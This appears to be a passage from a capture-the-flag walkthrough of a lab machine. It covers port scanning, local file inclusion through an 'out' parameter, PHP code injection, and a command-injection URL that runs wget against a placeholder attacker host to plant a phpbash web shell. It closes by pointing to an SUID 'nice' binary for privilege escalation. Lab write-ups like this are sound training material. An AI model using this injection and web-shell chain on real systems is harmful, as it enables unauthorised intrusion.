[~] The config file is expected to be at "/root/.rustscan.toml"
|
||||
[!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers
|
||||
[!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'.

## PORT 80 (HTTP)

|

|
||||
On clicking `Test` it will redirect us to port 8080 by asking credentials
|
||||
|

|
||||
|
||||
We can see a paramter `out`
|
||||
<img src="https://imgur.com/nJqHi0j.png"/>
|
||||
|
||||
On tampering with that paramter it gave an error which is useful to us because error is related to opening a file `include_path` so we can try for lfi (Local File Inclusion)
|
||||

||||

|
||||
|
||||
But apart from just seeing `/etc/passwd` can't access anything else. Going back to `/production` I tried to inject php code
|
||||
|
||||

|

|
||||
|
||||
Now I can get a reverse shell but running `netcat` directly through parameter was not working I was getting a connection then it was closing so I upload `phpbash.php` which is an interactive php shell
|
||||
|
||||
`http://192.168.1.9/production/sendcommand.php?out=out&cmd=wget http://attacker_ip/phpbash.php;`
|

|
||||
|
||||
After getting a netcat shell I ran linpeas
|
||||
|
||||
<img src="https://imgur.com/opKtkU9.png"/>
|
||||
|
||||
it showed `nice` as SUID , nice is a binary used to invoke a utility or shell script with a particular CPU priority, thus giving the process more or less CPU time than other processes as it is a system binary there might be something on GTFOBINS for it
